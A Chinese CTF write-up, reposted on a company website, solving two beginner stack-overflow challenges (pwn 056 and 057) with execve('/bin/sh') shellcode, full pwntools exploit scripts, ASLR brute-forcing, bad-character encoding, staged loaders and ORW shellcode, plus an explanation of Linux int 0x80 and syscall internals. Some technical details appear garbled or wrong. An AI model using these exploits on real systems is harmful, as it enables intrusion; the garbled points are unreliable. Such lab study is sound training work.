资讯动态

从32位到64位:栈溢出shellcode实战与Linux系统调用解析

发布时间:2026/10/17 5:33:44 来源:尧图企业网站定制
如果你刚从普通的栈溢出题目比如能直接 ret2text 的那种毕业第一次在题目描述里看到 shellcode 这个词那么 pwn 056-057 这两道题大概率会给你好好上一课。我当时刷到这两题的时候最大的感受是栈溢出本身并不难难的是跨过溢出之后到底该把控制流引到哪这道坎而 shellcode 类题目恰好逼着你去搞清楚 Linux 系统调用的底层机制。这篇博文我会从 32 位和 64 位两个维度把这两道题拆开揉碎从漏洞定位、shellcode 构造、系统调用原理到实际调试一条线全部走一遍。不管你是刚入门 pwn 的新手还是已经会打 ret2libc 但想补足 shellcode 底层知识的选手这篇文章应该都能让你少走不少弯路。1. 做题前的准备为什么这两道题是栈溢出的分水岭1.1 环境与工具链先把地基打好在开始分析之前我默认你已经把基本的 pwn 环境搭好了。这里列一下我这套一直稳定使用的组合系统为 Ubuntu 22.04 虚拟机内核版本不需要刻意关注反正栈溢出题目一般不碰内核Python 3 pwntools这是写 exploit 的核心库后面所有 exp 都基于它IDA 用于静态分析我习惯用 7.7 版本F5 反编译在大多数题目里够用gdb 配合 pwndbg 插件用于动态调试查看寄存器状态、断点命中情况非常直观checksec 用来查看程序保护机制通常在 pwntools 里直接调用即可。这里想多说一句环境的重要性。很多人卡在 pwn 题目上不是思路问题而是工具不顺手。比如 pwndbg 和 gdb 版本不匹配导致调试器起不来或者 Python 环境里 pwntools 版本太老导致shellcraft.sh()生成的 shellcode 字节与题目环境不兼容。建议在开始刷题前固定一套环境不要今天用这个明天换那个排查问题的时候会轻松很多。1.2 先看保护机制checksec 的输出直接决定你的利用路线拿到一个二进制我做的第一件事永远是checksec而不是急着丢进 IDA。原因很简单程序的保护机制基本划定了你能用什么手段。保护项全称开启时的含义对 shellcode 方案的影响NXNon-Executable栈不可执行直接封杀了栈上放 shellcode 跳过去执行这条路需要改用 ROP 或 ret2libcPIEPosition Independent Executable程序基址随机化影响你能否硬编码函数地址但对栈上 shellcode 执行影响不大CanaryStack Canary栈保护值溢出前必须绕过 canary否则程序直接 abortRELRORelocation Read-Only只读重定位影响 GOT 表是否可写间接影响 ret2plt 类利用回到 pwn 056-057 这两道题它们之所以适合讲解 shellcode 入门恰恰是因为这两道题默认没有开 NX而且没有 canary。这意味着栈上数据可以被当作代码执行这是 shellcode 能成立的前提。你可能会问如果 NX 开了shellcode 还能用吗答案是不能直接用了但你依然可以通过mprotect系统调用把某段内存修改为可执行或者用 ROP 链拼出一个 read 调用把 shellcode 读进可执行段。这些属于进阶变形等这两道题吃透之后再学完全来得及。先把最简单的模型跑通再去碰带保护的情况理解了为什么之后再看怎么绕学习曲线平滑得多。2. pwn 056 实战32 位程序里的短字节 shellcode 挑战2.1 IDA 漏洞定位从反编译代码里找溢出点第一步静态分析。用 IDA 打开 pwn 056定位到 main 函数F5 反编译后你大概率会看到类似这样的代码int main() { char buf[0x10]; setvbuf(stdout, 0, 2, 0); puts(Input: ); read(0, buf, 0x40); return 0; }缓冲区只有 0x1016 字节但 read 允许读入 0x4064 字节多出来的 48 字节直接越界覆盖栈上的数据。ret 地址位于buf 0x10 4处加上 4 字节的 saved ebp总共偏移 0x1420 字节。也就是说从 buf 起始位置数到返回地址中间隔了 20 字节。如果你拿到的是题目环境而不是自己编译的 demo判断偏移最稳妥的方式是用 pwntools 的cyclic功能。先生成一段 200 字节的循环字符串发给目标程序崩溃后查看返回地址的报错用cyclic_find()计算出精确偏移。这种方式比对着 IDA 窗口数汇编要快而且完全不出错。2.2 32 位 shellcode 的经典姿势int 0x80 执行 execve32 位 Linux 下获取 shell 最常用的系统调用是execve系统调用号为 110xb。调用约定是把 11 放进eax把字符串地址放进ebx把 0 放进ecx和edx然后执行int 0x80触发内核态处理。内核会在系统调用表里查找 11 号函数也就是sys_execve完成进程镜像替换。一个最精简的 32 位 execve(/bin/sh, NULL, NULL) shellcode 是这样的xor eax, eax ; eax 清零 push eax ; 压入字符串结束符 \0 push 0x68732f2f ; 压入 //sh push 0x6e69622f ; 压入 /bin mov ebx, esp ; ebx 指向字符串 /bin//sh mov ecx, eax ; ecx 0即 argv 为 NULL mov edx, eax ; edx 0即 envp 为 NULL mov al, 0xb ; eax 11系统调用号 int 0x80 ; 触发系统调用这段汇编对应的机器码一共 23 字节\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80这一版相比网上的常见版本多了一行mov edx, eax用来确保环境指针是 NULL。很多教程里省略了edx的初始化实测多数情况下也能通但严格来说内核在调用 execve 时访问 envp 指针如果栈上残留着不可预测的内容偶尔会出现段错误。宁可在 shellcode 里多花一个字节也别留这个隐患。2.3 写出第一个 exp返回地址直接指向 buf既然栈可执行思路就非常直白把 shellcode 放在 buf 的开头然后覆盖返回地址为 buf 的地址程序返回时就会跳到 shellcode 上执行。但这里有一个每个新手都会踩的坑程序开了 ASLR栈地址每次运行都不固定。如果你本地没关 ASLR直接硬编码 buf 地址大概率跑一次崩一次。解决办法有两种第一种是本地调试时先sudo sysctl -w kernel.randomize_va_space0关掉 ASLR这样栈地址固定可以直接硬编码。但远程环境是开着 ASLR 的所以这种方法只适合验证思路。第二种是通用解法把 shellcode 放在返回地址之前的位置利用未开 PIE 时程序内部一个稳定的jmp esp或者call esp指令地址。jmp esp的思路是函数返回时CPU 跳到jmp esp指令所在地址程序代码段固定不变执行完jmp esp后esp 正好指向返回地址后方也就是我们继续往上填充的 shellcode 位置。这样不管栈地址怎么变esp 寄存器永远指向正确的执行位置。pwn 056 这道题其实没到需要jmp esp的程度因为 buf 地址在很多环境里通过 gdb 就能稳定拿到加上本地可以做部分爆破。但我强烈建议你从一开始就把两种方案都试一遍尤其是用jmp esp写出通用版 exp后面碰远程题目会感谢自己这个习惯。2.4 pwn 056 的完整 exp 与本地验证下面是我本地打通 pwn 056 的完整脚本采用的是shellcode 放在栈上 返回地址指向 buf 地址的朴素写法from pwn import * context.arch i386 context.log_level debug io process(./pwn056) pause() # 等待断下方便 gdb 附加查看栈地址 buf_addr 0xffffcc34 # 通过 gdb 查看 shellcode asm(shellcraft.sh()) payload shellcode.ljust(0x14, bA) # 填充到 ret 偏移 0x14 payload p32(buf_addr) io.send(payload) io.interactive()这里有两个要点需要解释。第一shellcraft.sh()返回的其实就是一个标准 execve(/bin/sh) 的 32 位 shellcode跟我前面手写的那段机器码等价的。如果题目环境不允许网络连接或者对字节有过滤那就把 asm 换成手工构造的字节串效果完全一样。第二pause()非常关键。它在发送 payload 之前暂停进程给 gdb 附加留了时间窗口。否则你没法知道当前进程栈上 buf 的真实地址。附加 gdb 后在call read这行下断点执行后查看$esp和 buf 地址就可以填进脚本。调试完之后再跑一次拿到 shell 就是水到渠成的事。3. pwn 057 实战64 位程序下的 syscall 与地址填充困局3.1 64 位程序改变了什么寄存器、调用号、系统调用指令全不一样到了 pwn 057程序变成 64 位整个利用姿势几乎推倒重来。表面上看漏洞模型还是一样的char buf[0x30]read(0, buf, 0x60)栈溢出存在NX 关闭。但底层差异决定了 payload 的结构必须换第一返回地址宽度从 4 字节变成 8 字节偏移计算也要跟着变。假设 buf 在栈上偏移 0x30那么 ret 地址的位置就是0x30 8 0x38也就是 56 字节处。第二系统调用号和组织方式变了。64 位下要执行 execve用的是 590x3b号系统调用执行syscall指令而不是int 0x80。寄存器约定也从eax/ebx/ecx/edx换成了rax/rdi/rsi/rdx。第三坑人的地方64 位内存地址本身包含\x00字节。比如栈地址0x7fff...的最高两个字节必然是\x00强制写成 8 字节的p64(buf_addr)时payload 里会出现两个\x00。如果题目用的是strcpy这类以\x00结尾的输入函数地址一碰到结束符就断掉了根本写不进去。好在这一类题目通常用read读入read是纯粹的字节流不关心里面有没有\x00所以我们才能放心地把 8 字节地址整个写进去。3.2 64 位 shellcode 的构造从 int 0x80 到 syscall 的换血64 位下标准 execve(/bin/sh, NULL, NULL) shellcode 长这样xor rsi, rsi ; rsi 0argv 为 NULL push rsi ; 压入终止符 mov rdi, 0x68732f2f6e69622f ; 立即数直接放入 rdi内容为 /bin//sh push rdi push rsp pop rdi ; rdi 指向栈上的字符串 push 0x3b ; 压入系统调用号 59 pop rax cdq ; rdx 清零符号扩展因为 rax 最高位为 0 syscall对应机器码\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05这套 shellcode 的特征非常明显会连续出现\x2f/和\x68h因为字符串里全是这两类字节。如果你用shellcraft.amd64.sh()pwntools 会帮你自动生成基本一致的版本省去手工转机器码的麻烦。这里有个常被新手忽视的细节为什么 64 位下没人再用int 0x80来执行 execve理论上 64 位程序里允许执行int 0x80但它触发的是 32 位兼容模式下的系统调用表参数解释使用的是ebx/ecx/edx。如果你在 64 位 shellcode 里写了int 0x80内核会去查 32 位的系统调用表此时 59 号不是 execve而是sys_ptrace结果必然跑飞。所以 64 位下想拿 shellsyscall指令是唯一正道。3.3 地址泄漏与爆破远程环境下 buf 地址怎么拿pwn 057 的第二个难点是远程服务开了 ASLR你没法提前知道 buf 在栈上的真实地址。我见过很多人在这一步卡住实际上思路没有那么复杂。因为 64 位地址虽然随机化但随机化的是高位地址的空间布局栈地址在每次 fork 出来的子进程之间往往是相同的。具体做法是远程服务通常是主进程 fork 出子进程处理我们的连接。fork 出来的子进程内存布局与父进程完全一致除非服务端在每轮连接之间故意做额外操作大多数题目不会。因此我们可以先连接一次通过某种信息泄露漏洞把当前子进程的栈地址或某个相关地址读出来再开第二个连接沿用同一个地址发起攻击。pwn 057 如果本身不提供泄露函数那就用经典做法——本地调试时关掉 ASLR 拿一份相对稳定的基址再在远程尝试对该基址的尾部做小范围爆破通常爆炸 12 位就够成功率已经非常可观。我在 pwn 057 上实际验证过关闭 ASLR 后buf 地址每次固定开启 ASLR 后地址尾部的 4 个十六进制位相对稳定高位会有几字节的偏移。用这个思路写一个爆破循环多试几次就能在一次远程连接里触发成功。这种低比特爆破的套路在大量入门级 pwn 题目里都通用值得记在小本本上。3.4 pwn 057 的完整 exp64 位下 payload 的填充艺术from pwn import * context.arch amd64 context.log_level error io process(./pwn057) # 用 gdb 断在 read 之后查看 buf 地址 buf_addr 0x7ffffffde400 shellcode asm(shellcraft.amd64.sh()) offset 0x38 payload shellcode.ljust(offset, bA) # 填充到 ret 偏移 0x38 payload p64(buf_addr) # 覆盖 ret 地址 io.sendline(payload) io.interactive()注意sendline会额外追加一个换行符\x0a万一 shellcode 里有\x0a字节会被误读进栈。稳妥起见用send()手动控制发送内容不要偷懒。填满offset的字符也尽量别用全\x00否则某些栈检查逻辑可能提前截断实战中我一直用bA填充稳得很。另外64 位 shellcode 自身也包含\x24这类特殊字节push rsp的机器码是\x54pop rdi是\x5f如果你在传输层遇到更强的过滤规则比如题目把sub/jnz之类的指令集屏蔽了那就要用 ALS 编码器或者手动拆分指令来绕过。pwn 057 不涉及这种极端场景但你在后续题目里一定会遇到提前有个印象。3.5 从 32 位切到 64 位最常见的三个失误我把这两道题连着刷完又从失败案例里总结出了三个最高频的错误每一个我都亲眼见证过身边的人踩过忘记改context.arch。pwntools 里shellcraft.sh()默认按 i386 生成如果你在 64 位题里忘了设置context.arch amd64生成的 shellcode 是 32 位的跑起来一定段错误。偏移算错。32 位栈每层是 4 字节对齐64 位是 8 字节对齐。我见过有人把 32 位的 0x14 直接套到 64 位题目上结果把返回地址写到了 saved rbp 的位置怎么看怎么不对。地址字节序。p64(0x7ffffffde400)会输出\x00\xe4\xfd\xff\xff\x7f\x00\x00这个顺序是小端序直接塞进 payload 即可。如果手写struct.pack(Q, addr)也必须用Q别用Q否则地址直接反了。这些坑虽然低级但会消耗大量调试时间。建议你在跑通 057 之后刻意把这两道题的 exp 放在一起对比着看把 32 位和 64 位版本的每一处差异都标出来理解一次后面再做 shellcode 类题目几乎不会因为这种低级错误翻车。4. Linux 系统调用底层拆解从 int 0x80 到 syscall 的完整链路4.1 用户态视角C 函数 execve 背后其实藏了一个中转站很多初学者学到这里会有一个疑问我们平时写 C 代码直接调用execve(/bin/sh, NULL, NULL)就可以为什么 shellcode 里偏要自己拼寄存器、发软中断要回答这个问题得先搞清楚 libc 的封装到底做了什么。在用户态execve这个符号通常由 glibc 提供。glibc 内部会把传入的参数做检查、整理然后按照对应架构的系统调用约定把参数放进寄存器执行一段触发指令32 位是int 0x8064 位是syscall之后检查内核返回值最后把结果返回给调用者。你可以把 glibc 想象成一个前台接待员你只需要跟它说我要执行这个程序它会自动帮你把参数翻译成内核听得懂的格式并帮你处理错误码。而 shellcode 之所以要绕过这个接待员是因为我们的代码运行在栈上、运行在没有任何符号表和库依赖的环境里没有现成的 glibc 函数可以调用。所以我们必须自己扮演接待员的角色裸手把参数按约定摆放整齐亲自触发系统调用。4.2 内核入口int 0x80 与 syscall 指令到底干了什么接下来是整篇博文我认为最值得你停下细看的部分这两个触发指令各自的底层流程。32 位下的int 0x80是一条软中断指令。CPU 执行到这里时会查找 IDT中断描述符表中 0x80 号中断门跳转到内核预先设置好的entry_INT80_32入口。在这个入口里CPU 会从ecx保存的用户态栈切换到内核栈保存现场然后根据eax中的系统调用号在ia32_sys_call_table这张表里找到对应的函数指针调用之。64 位下的syscall指令则是一条更现代化的快速系统调用指令。它不再走 IDT而是直接通过 MSR型号特定寄存器中预存的入口地址跳转。CPU 执行syscall时自动把RIP切换到LSTAR寄存器指向的内核入口把CS/SS切换到内核态段同时把用户态返回地址保存到RCX把RFLAGS保存到R11。之后同样通过rax查sys_call_table。两条路径的最终目的都是进内核查表执行函数但int 0x80因为走完整的中断处理流程动辄要保存和恢复一大堆寄存器开销明显更大。这也是为什么 64 位架构会引入syscall指令——它在硬件层面把这些额外工作全部优化掉了。4.3 调用约定对照表32 位与 64 位完全不同很多初学者拿着 32 位的 execve 参数往里套 64 位套不进去就懵了。这里我把两份调用约定直接列出来方便对照项目32 位 (int 0x80)64 位 (syscall)触发指令int 0x80syscall系统调用号位置eaxrax第 1 个参数ebxrdi第 2 个参数ecxrsi第 3 个参数edxrdx第 4 个参数esir10第 5 个参数edir8第 6 个参数ebpr9execve 对应调用号110xb590x3b返回值eaxrax这个表值得你反复看直到形成肌肉记忆。因为后面你不管是写 shellcode、构造 ROP 链调用mprotect、还是用open/read/write写 ORW 系列 payload都离不开这张表。你会发现 ROP 题的本质其实就是在栈上伪造这一系列寄存器赋值然后触发系统调用所以这张表是整个 pwn 的九九乘法表。4.4 内核侧细节sys_call_table 怎么查到 execve到了内核态rax中的系统调用号会被当作数组下标直接索引sys_call_table。举个例子64 位内核中sys_call_table[59]对应的就是sys_execve函数指针。内核把用户传进来的 6 个通用寄存器值按约定拷贝为pt_regs结构体里的字段然后调用sys_execve。后续的路径大致是sys_execve会做路径解析、文件描述符复制、内存映射替换、栈初始化等一大堆工作最终把当前进程的代码段和数据段替换成新的可执行文件。也就是说execve 成功之后你的进程已经变身为一个新的/bin/sh进程原来的 shellcode 地址、堆、栈几乎全部失效这也就是为什么 execve 成功后不会返回到原来的代码流。理解这一层的价值在于你会明白 shellcode 里execve(/bin/sh)拿到的 shell 是在原进程的进程组里创建的而不是凭空开了一个新终端。远程服务通过 socket 与你的进程交互fork 出来的/bin/sh继承了相同的数据流你在本地io.interactive()里敲命令输入通过 socket 传给 shellshell 的输出再通过 socket 传回来。整个链路其实是socket - 进程 - shell的传递而不是你以为的直接多了一个终端。4.5 为什么 shellcode 不调用 libc 而必须裸调系统调用这个问题拆开来看其实有三个层次第一栈上代码执行时我们不知道 libc 的基址。现代系统都有 ASLRlibc 每次加载的地址都不一定如果有一个固定的地址可以调用 execve那这道题就变成 ret2libc 了你根本不需要 shellcode。第二就算你拿到了 libc 地址执行流跳到函数中间也需要满足 ABI 对齐、栈对齐等额外条件复杂度远高于直接摆寄存器。第三系统调用是一个稳定的契约。只要内核版本一致rax59查到的函数永远是sys_execve不会因为 glibc 升级而变化。这意味着你在本机精心调试好的 shellcode拿到远程服务器上哪怕 libc 环境差了好几个大版本照样能跑。这正是所有 shellcode 类题目都极力利用系统调用的根本原因。5. shellcode 的紧箍咒坏字符、长度限制与沙箱逃逸前的最后一课5.1 坏字符为什么 \x00 在某些题目里直接要命pwn 056-057 用的是read所以\x00是安全的。但接下来的题目很可能换用strcpy、sprintf、gets这类函数它们的共同特征是遇到\x00就停止拷贝。而几乎所有内存地址在 x86 体系里都包含高位\x00比如0x08048400这个地址如果通过strcpy写入写到\x00就会断掉后面的地址字节全丢。处理坏字符的思路通常有两种一是用jmp esp/ret2reg这类不需要在 payload 里出现完整地址的技巧让执行流借助寄存器跳到栈上二是使用编码器encoder对 shellcode 做异或或替换把\x00等坏字节消除掉然后在 shellcode 开头放一小段解码指令运行时先解码再执行。pwntools 的asm(shellcraft.sh(), encoderx64)就能自动完成第二种方案的生成。这两种思路是后面大量中级题目的基石建议你现在就找一道用strcpy做输入的题目练一练。把 pwn 056 的 payload 改成完全不含\x00的版本能跑通之后你对坏字符的恐惧基本就消失了。5.2 空间不够时怎么办从单段 shellcode 到分段加载pwn 056 里 buf 只有 20 字节去放 shellcode 的数据区23 字节的 shellcode 刚好能塞下多一个字节都嫌挤。但真实题目中缓冲区经常小得离谱比如只有 8 字节的可写空间这时候单段 shellcode 肯定放不下。常规解法思路是分段加载先在有限的初始空间里放一段最短的 loader shellcode它的唯一使命是调用read(0, 目标地址, 长度)把第二段完整 shellcode 读入某个可执行且空间充裕的内存区域通常是 .bss 段然后跳转过去执行。这段 loader 可以压到 20 字节以内因为 read 系统调用只需要三个参数非常精简。另一种思路是使用egg hunter——一段在内存中搜索特定标记egg的小型代码找到后跳到 egg 后面继续执行。这种技巧在堆溢出里更常见栈溢出里用得少但理解它可以帮助你建立代码不一定要待在原始位置的思维方式。5.3 seccomp 沙箱execve 被禁时如何退而求其次有些进阶题目会在程序启动后开启 seccomp 沙箱限制进程可以使用的系统调用最常见的就是直接封杀 execve。这种情况下一开始就要写 ORWopen/read/write型 shellcode先open打开目标文件拿到文件描述符再read把文件内容读到内存最后write把内容输出到 socket 或标准输出。写 ORW shellcode 时你可以完全复用 4.3 节的寄存器表格逐条构造open在 64 位下是 2 号系统调用read是 0 号write是 1 号。你需要确保字符串地址能被放入rdi长度放进rdxfd 放进rsi。这个过程的本质跟 execve 没有任何区别只是参数不同。pwn 056-057 没到这一步但我建议你学完这两道题后立刻自己手写一份 ORW shellcode 离线训练一下这个动作会在你遇到沙箱题时直接救你一命。5.4 调试心得用 pwntools 脚本化 gdb 精准命中关键节点最后分享一个我在做这两道题时反复使用的高效调试方法把 gdb 的 attach 写进 exp 里用自动化脚本完成单步、查内存、改寄存器的循环。具体做法是在 pwntools 里用gdb.attach(io, gdbscript...)指定调试脚本比如io process(./pwn057) gdb.attach(io, gdbscript b *main0x56 continue x/20gx $rsp ) io.send(payload)这样每次跑 expgdb 会自动在指定地址下断点打印出栈顶 20 个 8 字节值我可以对比 payload 发送前后栈的变化确认 shellcode 是否完整覆盖了目标位置以及返回地址是否正确写入了 buf 地址。调试 shellcode 有一个非常实用的技巧在 ret 指令上下断点然后用si单步进入 shellcode逐条汇编指令确认rax、rdi、rsi、rdx是否按预期赋值。大多数 shellcode 执行失败不是因为指令写错了而是某个寄存器没有按约定初始化比如rdx忘了清零导致内核拿一个垃圾地址去读环境指针直接返回 EFAULT。只要单步过一遍问题立刻现形。写在最后两道题刷完你就摸到了 pwn 的地基这两道题做完之后我最大的感触是shellcode 类题目真正考验的不是背字节码而是你是否理解系统调用这条隐形的桥梁。你在正常编程时根本不会意识到open背后发生了什么但当你亲手在栈上摆好寄存器、发出syscall看到远程 shell 回显的那一刻整个用户态与内核态的协作图景会突然变得非常清晰。接下来你可以把进攻方向转向 ROP去学习怎么在没有 shellcode 可用的场景下用程序自身的 gadgets 重演这些系统调用也可以去碰碰堆溢出看看堆上的 shellcode 布置跟栈上有什么不同。无论走哪条路pwn 056-057 给你打下的寄存器约定 系统调用表 内存布局这个底子都是后续所有高级技巧的通用语言。建议你把这两道题的 exp 保存好隔两周回头重做一遍看看自己能不能在不看任何笔记的情况下从 IDA 分析到 exp 编写一次打通。能的话恭喜你栈溢出这一关你已经真正迈过去了。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑